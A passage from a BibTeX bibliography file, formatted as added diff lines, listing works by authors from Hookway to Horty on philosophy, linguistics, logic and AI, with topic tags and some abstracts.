{Routledge}, + year = {1985}, + address = {London}, + topic = {Peirce;} + } + +@book{ hookway:1988a, + author = {Christopher Hookway}, + title = {Quine: Language, Experience and Reality}, + publisher = {Stanford University Press}, + year = {1988}, + address = {Stanford, California}, + ISBN = {0804713863 (cloth)}, + topic = {Quine;} + } + +@book{ hookway:1990a, + author = {Christopher Hookway}, + title = {Scepticism}, + publisher = {Routledge}, + year = {1990}, + address = {London}, + ISBN = {0415033969}, + topic = {skepticism;} + } + +@article{ hookway:1996a, + author = {Christopher Hookway}, + title = {Questions of Context}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1996}, + volume = {96}, + note = {Supplementary Series.}, + pages = {1--16}, + topic = {agent-attitudes;context;} + } + +@article{ hoos-utzle:1999a, + author = {Holger H. Hoos and Thomas St\"utzle}, + title = {Towards a Characterisation of the Behaviour of Stochastic + Local Search Algorithms For {SAT}}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {112}, + number = {1--2}, + pages = {213--232}, + acontentnote = {Abstract: + Stochastic local search (SLS) algorithms have been successfully + applied to hard combinatorial problems from different domains. + Due to their inherent randomness, the run-time behaviour of + these algorithms is characterised by a random variable. The + detailed knowledge of the run-time distribution provides + important information about the behaviour of SLS algorithms. In + this paper we investigate the empirical run-time distributions + for WalkSAT, one of the most powerful SLS algorithms for the + Propositional Satisfiability Problem (SAT). Using statistical + analysis techniques, we show that on hard Random-3-SAT problems, + WalkSAT's run-time behaviour can be characterised by exponential + distributions. This characterisation can be generalised to + various SLS algorithms for SAT and to encoded problems from + other domains. This result also has a number of consequences + which are of theoretical as well as practical interest. One of + these is the fact that these algorithms can be easily + parallelised such that optimal speedup is achieved for hard + problem instances.}, + topic = {stochastic-search;model-construction;empirical-methods-in-AI;} + } + +@book{ hopcroft-ullman:1979a, + author = {John E. Hopcroft and Jeffrey D. Ullman}, + title = {Introduction to Automata Theory}, + publisher = {Addison-Wesley}, + year = {1979}, + address = {New York}, + topic = {automata-theory;finite-state-automata;} + } + +@book{ hopcroft-etal:2001a, + author = {John E. Hopcroft and Rajeev Motwani and Jeffrey D. Ullman}, + title = {Introduction to Automata Theory, Languages, and Computation}, + edition = {2}, + publisher = {Addison-Wesley}, + year = {2001}, + address = {New York}, + ISBN = {0-201-44124-1}, + topic = {automata-theory;finite-state-automata;computability; + context-free-grammars;complexity-theory;theoretical-cs-intro;} + } + +@book{ hopkins_m1:1909a, + author = {Mark Hopkins}, + title = {Evidence of {C}hristianity}, + publisher = {T.R. Marvin and Son}, + year = {1909}, + address = {Boston}, + contentnote = {This is a classic on Baconian method applied to + proving Christian religous doctrine.}, + topic = {fundamentalism;} + } + +@incollection{ hopkins_m2-clarke:1988a, + author = {Michael Hopkins and Michael Clarke}, + title = {Nonmonotonic and Counterfactual Reasoning: Some + Experiments with a Practical System}, + booktitle = {Reason Maintenance Systems and Their Applications}, + publisher = {Ellis Horwood, Ltd.}, + year = {1988}, + editor = {Barbara Smith and Gerald Kelleher}, + pages = {58--76}, + address = {Chichester}, + topic = {truth-maintenance;applied-nonmonotonic-reasoning; + conditionals;} + } + +@article{ hopkins_r:1998a, + author = {Robert Hopkins}, + title = {Review of {\it Fictional Points of View}, by + {P}eter {L}amarque}, + journal = {Philosophical Review}, + year = {1998}, + volume = {107}, + number = {1}, + pages = {140--142}, + xref = {Review of lamarque:1996a.}, + topic = {fiction;fictional-characters;philosophy-of-literature;} + } + +@book{ hoppenbrouwers-etal:1985a, + editor = {G.A.J. Hoppenbrouwers and P.A.M. Seuren and A.J.M.M. Weijters}, + title = {Meaning and the Lexicon}, + publisher = {Foris Publications}, + year = {1985}, + address = {Dordrecht}, + ISBN = {9067650986}, + topic = {lexical-semantics;nl-semantics;} + } + +@incollection{ hopper_r:1983a, + author = {Robert Hopper}, + title = {Interpretation as Coherence Production}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {81--98}, + address = {London}, + topic = {discourse-coherence;discourse-analysis;text-understanding; + pragmatics;} + } + +@article{ horacek:1990a, + author = {Helmut Horacek}, + title = {Reasoning With Uncertainty In Computer Chess}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {1}, + pages = {37--56}, + topic = {game-playing;computer-chess;} + } + +@book{ horacek-zock:1993a, + editor = {Helmut Horacek and Michael Zock}, + title = {New Concepts in Natural Language Generation}, + publisher = {Pinter Publishers}, + year = {1993}, + address = {London}, + topic = {nl-generation;} + } + +@inproceedings{ horacek:1997a, + author = {Helmut Horacek}, + title = {An Algorithm for Generating Referential Descriptions + with Flexible Interfaces}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + missinginfo = {pages pages = {206--}}, + topic = {nl-generation;referring-expressions;nl-interfaces;} + } + +@article{ horacek:2001a, + author = {Helmut Horacek}, + title = {Review of {\it Building Natural Language Generation + Systems}, by {E}hud {R}eiter}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {298--300}, + xref = {Review of: reiter_e-dale_r:2000a.}, + topic = {nl-generation;} + } + +@article{ horaud-brady:1988a, + author = {Radu Horaud and Michael Brady}, + title = {On the Geometric Interpretation of Image Contours}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {333--353}, + acontentnote = {Abstract: + In this paper we suggest a computational model for the 3D + interpretation of a 2D view based on contour classification and + contour interpretation. We concentrate on those contours arising + from discontinuities in surface orientation. We combine a + generic surface description well suited for visual tasks with a + model of the image formation process in order to derive image + contour configurations that are likely to be interpreted in + terms of surface contours. Next we describe a computer algorithm + which attempts to interpret image contours on the following + grounds. First, an image analysis process produces a + description in terms of contours and relationships between them. + Second, among these contours, we select those which form a + desired configuration. Third, the selected contours are combined + with constraints available with the image formation process in + order to be interpreted in terms of discontinuities in surface + orientation. As a consequence, there is a dramatic reduction in + the number of possible orientations of the associated scene + surfaces.}, + topic = {three-D-reconstruction;scene-reconstruction;} + } + +@article{ horgan:1981a, + author = {Terence Horgan}, + title = {Counterfactuals and {N}ewcomb's Problem}, + journal = {Journal of Philosophy}, + year = {1981}, + volume = {78}, + number = {6}, + pages = {331--356}, + topic = {conditionals;Newcomb-problem;} + } + +@incollection{ horgan:1985a, + author = {Terence Horgan}, + title = {Newcomb's Problem: A Stalemate}, + booktitle = {Paradoxes of Rationality and Cooperation}, + publisher = {The University of British Columbia Press}, + year = {1985}, + pages = {223--234}, + address = {Vancouver}, + topic = {causal-decision-theory;} + } + +@incollection{ horgan:1989a, + author = {Terence Horgan}, + title = {Mental Quausation}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {47--76}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + comment = {Title is not a misprint.}, + topic = {reasons-for-action;desires;} + } + +@article{ horgan:1989b, + author = {Terence Horgan}, + title = {Attitudinatives}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {2}, + pages = {133--165}, + topic = {propositional-attitudes;} + } + +@incollection{ horgan:1994a, + author = {Terence Horgan}, + title = {Robust Vagueness and the Forced-March Sorites Paradox}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {159--188}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ horgan:1997a, + author = {Terence Horgan}, + title = {Kim on Mental Causation and Causal Exclusion}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {165--184}, + address = {Oxford}, + topic = {philosophy-of-mind;philosophy-of-psychology;causality;} + } + +@incollection{ horgan:1998a, + author = {Terence Horgan}, + title = {Actualism, Quantification, and Contextual Semantics}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {503--509}, + address = {Oxford}, + topic = {philosophical-realism;context;philosophical-ontology;} + } + +@article{ horgan:2000a, + author = {Terry Horgan}, + title = {The Two-Envelope Paradox, Nonstandard Expected Utility, + and The Intensionality of Probability}, + journal = {No\^us}, + year = {2000}, + volume = {34}, + number = {4}, + pages = {578--603}, + topic = {two-envelope-paradox;foundations-of-probability + foundations-of-decision-theory;} + } + +@inproceedings{ horn:1971a, + author = {Lawrence R. Horn}, + title = {Negative Transportation: Unsafe at Any Speed}, + booktitle = {Papers from the Seventh Regional Meeting of the + {C}hicago Linguistic Society}, + year = {1971}, + pages = {120--133}, + editor = {Douglas Adams and Mary Ann Campbell and Victor Cohen and + Julie Lovins and Edward Maxwell and Carolyn Nygren and + John Reighard}, + organization = {Chicago Linguistic Society}, + publisher = {Chicago Linguistic Society}, + address = {Goodspeed Hall, 1050 East 59th Street, Chicago, Illinois}, + topic = {negation;generative-semantics;propositional-attitudes;} + } + +@incollection{ horn:1996a, + author = {Lawrence R. Horn}, + title = {Presupposition and Implicature}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {299--319}, + topic = {presupposition;implicature;pragmatics;} + } + +@article{ horn_a:1951a, + author = {Alfred Horn}, + title = {On Sentences Which Are True of Direct Unions of Algebras}, + journal = {Journal of Symbolic Logic}, + year = {1951}, + volume = {16}, + number = {1}, + pages = {14--21}, + topic = {Horn-theories;} + } + +@techreport{ horn_b:1988a, + author = {Bruce L. Horn}, + title = {An Introduction to Object Oriented Programming, Inheritance, + and Method Combination}, + institution = {Computer Science Department, Carnegie Mellon University}, + number = {CMU--CS--87--127}, + year = {1988}, + address = {Pittsburgh Pennsylvania, 15213}, + topic = {object-oriented-systems;inheritance;} + } + +@article{ horn_bkp-schunck:1981a, + author = {Berthold K.P. Horn and Brian G. Schunck}, + title = {Determining Optical Flow}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {185--203}, + acontentnote = {Abstract: + Optical flow cannot be computed locally, since only one + independent measurement is available from the image sequence at + a point, while the flow velocity has two components. A second + constraint is needed. A method for finding the optical flow + pattern is presented which assumes that the apparent velocity of + the brightness pattern varies smoothly almost everywhere in the + image. An iterative implementation is shown which successfully + computes the optical flow for a number of synthetic image + sequences. The algorithm is robust in that it can handle image + sequences that are quantized rather coarsely in space and time. + It is also insensitive to quantization of brightness levels and + additive noise. Examples are included where the assumption of + smoothness is violated at singular points or along lines in the + image.}, + topic = {computer-vision;optical-flow;} + } + +@article{ horn_bkp-schunck:1993a, + author = {Berthold K.P. Horn and B.G. Schunck}, + title = {`{D}etermining Optical Flow': A Retrospective}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {81--87}, + topic = {computer-vision;} + } + +@inproceedings{ horn_l:1969a, + author = {Laurence R. Horn}, + title = {A Presuppositional Analysis of `Only' and `Even'}, + booktitle = {Proceedings From the Fifth Regional Meeting of the + Chicago Linguistic Society}, + year = {1969}, + pages = {125--142}, + organization = {Chicago Linguistic Society}, + publisher = {Chicago Linguistic Society}, + address = {Chicago, IL}, + topic = {`only';`even';presupposition;pragmatics;} + } + +@inproceedings{ horn_l:1972a, + author = {Laurence R. Horn}, + title = {Greek {G}rice}, + booktitle = {Proceedings of the Ninth Regional Meeting of the + Chicago Linguistics Society}, + year = {1972}, + pages = {205--214}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor}, + topic = {implicature;pragmatics;} + } + +@phdthesis{ horn_l:1972b1, + author = {Laurence R. Horn}, + title = {On the Semantic Properties of the Logical Operators in + {E}nglish}, + school = {University of California at Los Angeles}, + year = {1972}, + type = {Ph.{D}. Dissertation}, + address = {Los Angeles, California}, + xref = {Republished by IULC. See horn_l:1972b2.}, + topic = {presupposition;pragmatics;nl-and-logic;negation;} + } + +@book{ horn_l:1972b2, + author = {Laurence R. Horn}, + title = {On the Semantic Properties of the Logical Operators in + {E}nglish}, + publisher = {Indiana University Linguistics Club}, + year = {1972}, + address = {310 Lindley Hall, Bloomington, Indiana}, + xref = {Republished PhD theses. See horn_l:1972b1.}, + topic = {presupposition;pragmatics;nl-and-logic;negation;} + } + +@incollection{ horn_l:1979a, + author = {Laurence R. Horn}, + title = {Some Aspects of Negation}, + booktitle = {Universals of Human Language, Volume 4: Syntax}, + publisher = {Stanford University Press}, + year = {1979}, + editor = {Joseph H. Greenburg}, + pages = {127--210}, + topic = {negation;presupposition;pragmatics;} + } + +@article{ horn_l:1981a, + author = {Laurence R. Horn}, + title = {A Pragmatic Approach to Certain Ambiguities}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {4}, + number = {3}, + pages = {321--358}, + topic = {ambiguity;} + } + +@incollection{ horn_l:1984a, + author = {Laurence R. Horn}, + title = {Toward a New Taxonomy for Pragmatic Inference: Q-Based + and R-Based Implicature}, + booktitle = {Meaning, Form, and Use in Context: Linguistic Applications}, + publisher = {Georgetown University Press}, + year = {1984}, + editor = {Deborah Schiffrin}, + pages = {11--42}, + address = {Washington, {DC}}, + topic = {implicature;pragmatics;} + } + +@article{ horn_l-bayer:1984a, + author = {Laurence R. Horn and Samuel Bayer}, + title = {Short-Circuited Implicature: A Negative Contribution}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {4}, + pages = {397--414}, + topic = {implicature;negation;pragmatics;} + } + +@article{ horn_l:1985a, + author = {Laurence R. Horn}, + title = {Metalinguistic Negation and Pragmatic Ambiguity}, + journal = {Language}, + year = {1985}, + volume = {61}, + number = {1}, + pages = {121--174}, + topic = {negation;ambiguity;pragmatics;} + } + +@book{ horn_l:1989a, + author = {Lawrence R. Horn}, + title = {A Natural History of Negation}, + publisher = {Chicago University Press}, + year = {1989}, + address = {Chicago}, + topic = {negation;presupposition;pragmatics;nl-and-logic;} + } + +@incollection{ horn_l:1992a, + author = {Laurence R. Horn}, + title = {Pragmatics, Implicature, and Presupposition}, + booktitle = {International Encyclopedia of Linguistics}, + publisher = {Oxford University Press}, + year = {1992}, + editor = {William Bright}, + pages = {260--266}, + address = {Oxford}, + topic = {presupposition;implicature;pragmatics;} + } + +@book{ horne:2000a, + editor = {Merle Horne}, + title = {Prosody, Theory and Experiment: Studies Presented + to {G}\"osta {B}ruce}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + address = {Dordrecht}, + ISBN = {0792365798}, + xref = {Review: shih-sproat:2001a.}, + topic = {prosody;} + } + +@article{ hornsby:1979a, + author = {Jennifer Hornsby}, + title = {Actions and Identities}, + journal = {Analysis}, + year = {1979}, + volume = {39}, + pages = {195--201}, + missinginfo = {number}, + topic = {action;} + } + +@book{ hornsby:1980a, + author = {Jennifer Hornsby}, + title = {Actions}, + publisher = {Routledge and Kegan Paul}, + year = {1980}, + address = {London}, + xref = {Review: watson_g1:1982a.}, + topic = {action;} + } + +@incollection{ hornsby:1986a, + author = {Jennifer Hornsby}, + title = {Bodily Movements, Actions, and Intentionality}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {275--286}, + address = {Minneapolis}, + topic = {intentionality;action;} + } + +@incollection{ hornsby:1989a, + author = {Jennifer Hornsby}, + title = {Semantic Innocence and Psychological Understanding}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {549--574}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {foundations-of-semantics;nl-semantics-and-cognition; + philosophy-of-language;propositional-attitudes;} + } + +@incollection{ hornsby:1993a, + author = {Jennifer Hornsby}, + title = {Agency and Causal Explanation}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {161--188}, + address = {Oxford}, + topic = {agency;causality;} + } + +@book{ hornstein-lightfoot:1981a, + editor = {Norbert Hornstein and David Lightfoot}, + title = {Explanation in Linguistics: The Logical Problem of + Language Acquisition}, + publisher = {Longman}, + year = {1981}, + address = {london}, + topic = {L1-acquisition;learning-theory;} + } + +@book{ hornstein:1984a, + author = {Norbert Hornstein}, + title = {Logic as Grammar}, + publisher = {The {MIT} Press}, + year = {1984}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-semantics;quantifiers;belief; + definite-sescriptions;} + } + +@article{ hornstein:1984b, + author = {Norbert Hornstein}, + title = {Interpreting Quantification in Natural Language}, + journal = {Synth\'ese}, + year = {1984}, + volume = {59}, + number = {2}, + pages = {117--150}, + topic = {nl-quantifiers;nl-quantifier-scope; + foundations-of-semantics;} + } + +@article{ hornstein:1988a, + author = {Norbert Hornstein}, + title = {The Heartbreak of Semantics}, + journal = {Mind and Language}, + year = {1988}, + volume = {3}, + number = {1}, + pages = {9--27}, + xref = {Discussion of schiffer:1987a.}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@book{ hornstein:1990a, + author = {Norbert Hornstein}, + title = {As Time Goes By: Tense and Universal Grammar}, + publisher = {The {MIT} Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;tense-aspect;universal-grammar;} + } + +@book{ hornstein:1994a, + author = {Norbert Hornstein}, + title = {{LF}: The Grammar of Logical Form from {GB} to Minimalism}, + publisher = {Blackwell Publishers}, + year = {1994}, + address = {Oxford}, + topic = {nl-semantics;LF;minimalist-syntax;} + } + +@article{ hornstein:1995a, + author = {Norbert Hornstein}, + title = {Putting Truth Into Universal Grammar}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {4}, + pages = {381--400}, + topic = {nl-semantics;nl-quantifiers;} + } + +@article{ hornstein:1999a, + author = {Norbert Hornstein}, + title = {Movement and Control}, + journal = {Linguistic Inquiry}, + year = {1999}, + volume = {30}, + number = {1}, + pages = {69--96}, + topic = {syntactic-control;minimalist-syntax;} + } + +@book{ horrocks_gc:1987a, + author = {Geoffrey C. Horrocks}, + title = {Generative Grammar}, + publisher = {Longman}, + year = {1987}, + address = {London}, + topic = {nl-syntax;GB-syntax;} + } + +@incollection{ horrocks_ir:1998a, + author = {Ian R. Horrocks}, + title = {Using an Expressive Description Logic: {FaCT} or + Fiction?}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {636--645}, + address = {San Francisco, California}, + topic = {kr;extensions-of-kl1;kr-course;} + } + +@inproceedings{ horrocks_ir-patelschneider:1998a, + author = {Ian R. Horrocks and Peter F. Patel-Schneider}, + title = {Optimising Propositional Modal Satisfiability for Description + Logic Subsumption}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {234--246}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {modal-logic;taxonomic-logics;subsumption;} + } + +@book{ horst:1996a, + author = {Steven W. Horst}, + title = {Symbols, Computation, and Intentionality: A + Critique of the Computational Theory of Mind}, + publisher = {University of California Press}, + year = {1996}, + address = {Berkeley, California}, + xref = {Review: wilson_r:1998a.}, + topic = {foundations-of-semantics;intentionality; + foundations-of-cognition;philosophy-of-psychology;} + } + +@article{ horsten:1996a, + author = {Leon Horsten}, + title = {Reflecting in Epistemic Arithmetic}, + journal = {The Journal of Symbolic Logic}, + year = {1996}, + volume = {61}, + number = {3}, + pages = {788--801}, + topic = {epistemic-arithmetic;provability-logic;semantic-reflection;} + } + +@article{ horsten:1997a, + author = {Leon Horsten}, + title = {Provability in Principle and Controversial + Constructivistic Principles}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {6}, + pages = {635--660}, + topic = {Church's-thesis;epistemic-logic;epistemic-arithmetic; + constructive-mathematics;} + } + +@article{ horswill:1995a, + author = {Ian Horswill}, + title = {Analysis of Adaptation and Environment}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {73}, + number = {1--2}, + pages = {1--30}, + acontentnote = {Abstract: + Designers often improve the performance of artificial agents by + specializing them. We can make a rough, but useful distinction + between specialization to a task and specialization to an + environment. Specialization to an environment can be difficult + to understand: it may be unclear on what properties of the + environment the agent depends, or in what manner it depends on + each individual property. In this paper, I discuss a method for + analyzing specialization into a series of conditional + optimizations: formal transformations which, given some + constraint on the environment, map mechanisms to more efficient + mechanisms with equivalent behavior. I apply the technique to + the analysis of the vision and control systems of a working + robot system in day to day use in our laboratory. The method is + not intended as a general theory for automated synthesis of + arbitrary specialized agents. Nonetheless, it can be used to + perform post-hoc analysis of agents so as to make explicit the + environment properties required by the agent and the + computational value of each property. This post-hoc analysis + helps explain performance in normal environments and predict + performance in novel environments. In addition, the + transformations brought out in the analysis of one system can be + reused in the synthesis of future systems. } , + topic = {adapting-to-environments;robotics;} + } + +@article{ horton-keysar:1996a, + author = {W.S. Horton and B. Keysar}, + title = {When Do Speakers Take into Account Common Ground?}, + journal = {Cognition}, + year = {1996}, + volume = {59}, + pages = {91--117}, + missinginfo = {A's 1st name, number}, + topic = {conversational-record;cognitive-psychology;} + } + +@article{ horton-spenser:1997a, + author = {J.D. Horton and Bruce Spenser}, + title = {Clause Trees: A Tool for Understanding and Implementing + Resolution in Automated Reasoning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {25--89}, + missinginfo = {A's 1st name.}, + topic = {theorem-proving;resolution;krcourse;} + } + +@inproceedings{ horty-etal:1987a, + author = {John F. Horty and Richmond Thomason and David Touretzky}, + title = {A Skeptical Theory of Inheritance in Nonmonotonic Semantic + Nets}, + booktitle = {Proceedings of the Sixth National Conference on + Artificial Intelligence}, + year = {1987}, + editor = {Kenneth Forbus and Howard Shrobe}, + pages = {358--363}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {inheritance-theory;} + } + +@inproceedings{ horty-thomason_rh:1987a, + author = {John F. Horty and Richmond H. Thomason}, + title = {Logics for Nonmonotonic Inheritance}, + booktitle = {Second International Workshop on Non-Monotonic Reasoning}, + year = {1987}, + editor = {Michael Reinfrank and Johan de Kleer and Eric Sandewall}, + pages = {220--237}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {nonmonotonic-reasoning;inheritance-theory;} + } + +@inproceedings{ horty-thomason_rh:1988a, + author = {John F. Horty and Richmond Thomason}, + title = {Mixing Strict and Defeasible Inheritance}, + booktitle = {Proceedings of the Sixth National Conference on + Artificial Intelligence}, + year = {1988}, + editor = {Reid Smith and Tom Mitchell}, + pages = {427--432}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {inheritance-theory;} + } + +@incollection{ horty:1990a, + author = {John Horty}, + title = {A Credulous Theory of Mixed Inheritance}, + booktitle = {Inheritance Hierarchies in Knowledge Representation and + Programming Languages}, + editor = {Maurizio Lenzerini and Daniele Nardi and Maria Simi}, + publisher = {John Wiley and Sons}, + year = {1991}, + topic = {inheritance-theory;} + } + +@unpublished{ horty:1990b, + author = {John Horty}, + title = {Defeasible Arguments: A Logical Extension of + Path-based Inheritance Reasoning}, + year = {1992}, + note = {Manuscript, Institute for Advanced Computer Studies, + University of Maryland}, + topic = {inheritance-theory;} + } + +@article{ horty-etal:1990a, + author = {John F. Horty and Richmond Thomason and David Touretzky}, + title = {A Skeptical Theory of Inheritance in Nonmonotonic Semantic + Networks}, + journal = {Artificial Intelligence}, + volume = {42}, + number = {3}, + year = {1990}, + pages = {311--349}, + topic = {inheritance-theory;} + } + +@inproceedings{ horty-thomason_rh:1990a, + author = {John F. Horty and Richmond H. Thomason}, + title = {Boolean Extensions of Inheritance Networks}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + pages = {633--639}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {editor}, + topic = {inheritance-theory;} + } + +@article{ horty-thomason_rh:1991a, + author = {John F. Horty and Richmond Thomason}, + title = {Conditionals and Artificial Intelligence}, + journal = {Fundamenta Informaticae}, + year = {1991}, + volume = {15}, + number = {3--4}, + pages = {301--324}, + topic = {conditionals;} + } + +@article{ horty:1993a, + author = {John F. Horty}, + title = {Deontic Logic as Founded on Nonmonotonic Logic}, + journal = {Annals of Mathematics and Artificial Intelligence}, + volume = {9}, + year = {1993}, + pages = {69--91}, + topic = {nonmonotonic-logic;deontic-logic;} + } + +@inproceedings{ horty:1993b, + author = {John F. Horty}, + title = {Nonmonotonic Techniques in the Formalization of Commonsense + Normative Reasoning}, + booktitle = {Proceedings of the Second Symposium on + Logical Formalizations of Commonsense Reasoning}, + year = {1993}, + editor = {Vladimir Lifschitz and John McCarthy and Leora + Morgenstern and Yoav Shoham}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {nonmonotonic-logic;common-sense-reasoning;deontic-logic;} + } + +@incollection{ horty:1994a, + author = {John F. Horty}, + title = {Some Direct Theories of Nonmonotonic Inheritance}, + booktitle = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 3: Nonmonotonic + Reasoning and Uncertain Reasoning}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {Dov Gabbay and Christopher J. Hogger and J. A. Robinson}, + pages = {111--187}, + topic = {inheritance-theory;} + } + +@article{ horty:1994b, + author = {John Horty}, + title = {Agency and Obligation}, + journal = {Synth\'ese}, + volume = {108}, + year = {1996}, + pages = {269--307}, + topic = {agency;obligation;deontic-logic;} + } + +@article{ horty:1994c, + author = {John F. Horty}, + title = {Moral Dilemmas and Nonmonotonic Logic}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {1}, + pages = {35--65}, + topic = {nonmonotonic-logic;deontic-logic;} + } + +@unpublished{ horty:1994d, + author = {John F. Horty}, + title = {Utilitarianism in an Indeterministic Setting}, + year = {1994}, + note = {Manuscript, Philosophy Department + and Institute for Advanced Computer Studies, + University of Maryland.}, + topic = {decision-theory;qualitative-utility;} + } + +@incollection{ horty:1995a, + author = {John F. Horty}, + title = {Deontic Logic and Nonmonotonic Reasoning}, + booktitle = {Essays in Defeasible Deontic Logic}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Donald Nute}, + address = {Dordrecht}, + missinginfo = {pages}, + topic = {deontic-logic;nonmonotonic-logic;} + } + +@inproceedings{ horty:1995b, + author = {John F. Horty}, + title = {Intentions as Filters}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {82--88}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {intention;practical-reasoning;foundations-of-planning;} + } + +@article{ horty-belnap:1995a, + author = {John F. Horty and Nuel D. {Belnap, Jr.}}, + title = {The Deliberative {\sc stit}: A Study of Action, Omission, + and Obligation}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {6}, + pages = {583--644}, + topic = {ability;agency;action;deontic-logic;stit;} + } + +@article{ horty:1996a, + author = {John F. Horty}, + title = {Agency and Obligation}, + journal = {Synth\'ese}, + year = {1996}, + volume = {108}, + pages = {269--307}, + missinginfo = {number}, + topic = {agency;stit;deontic-logic;} + } + +@incollection{ horty:1997a, + author = {John Horty}, + title = {Nonmonotonic Foundations for Deontic Logic}, + booktitle = {Defeasible Deontic Logic}, + editor = {Donald Nute}, + publisher = {Kluwer Academic Publishers}, + address = {Dordrecht}, + year = {1997}, + pages = {17--44}, + topic = {nonmonotonic-logic;deontic-logic;} + } + +@unpublished{ horty:1997b, + author = {John F. Horty}, + title = {Agency and Deontic Logic}, + year = {1997}, + note = {Unpublished manuscript, University of Maryland.}, + topic = {deontic-logic;stit;} + } + +@unpublished{ horty:1998a, + author = {John F. Horty}, + title = {Precedent, Deontic Logic, and Inheritance}, + year = {1998}, + note = {Unpublished manuscript, University of Maryland}, + missinginfo = {Year is a guess.}, + topic = {deontic-logic;inheritance-theory;legal-reasoning;} + } + +@inproceedings{ horty-pollack_me:1998a, + author = {John F. Horty and Martha Pollack}, + title = {Evaluating Options in a Context}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {249--262}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {plan-evaluation;plan-maintenance;} + } + +@unpublished{ horty:2000a, + author = {John F. Horty}, + title = {Argument Construction and Reinstatement in Logics + for Defeasible Reasoning}, + year = {2000}, + note = {Unpublished manuscript, University of Maryland.}, + topic = {nonmonotonic-reasoning;argument-based-defeasible-reasoning;} + } + +@book{ horty:2001a, + author = {John F. Horty}, + title = 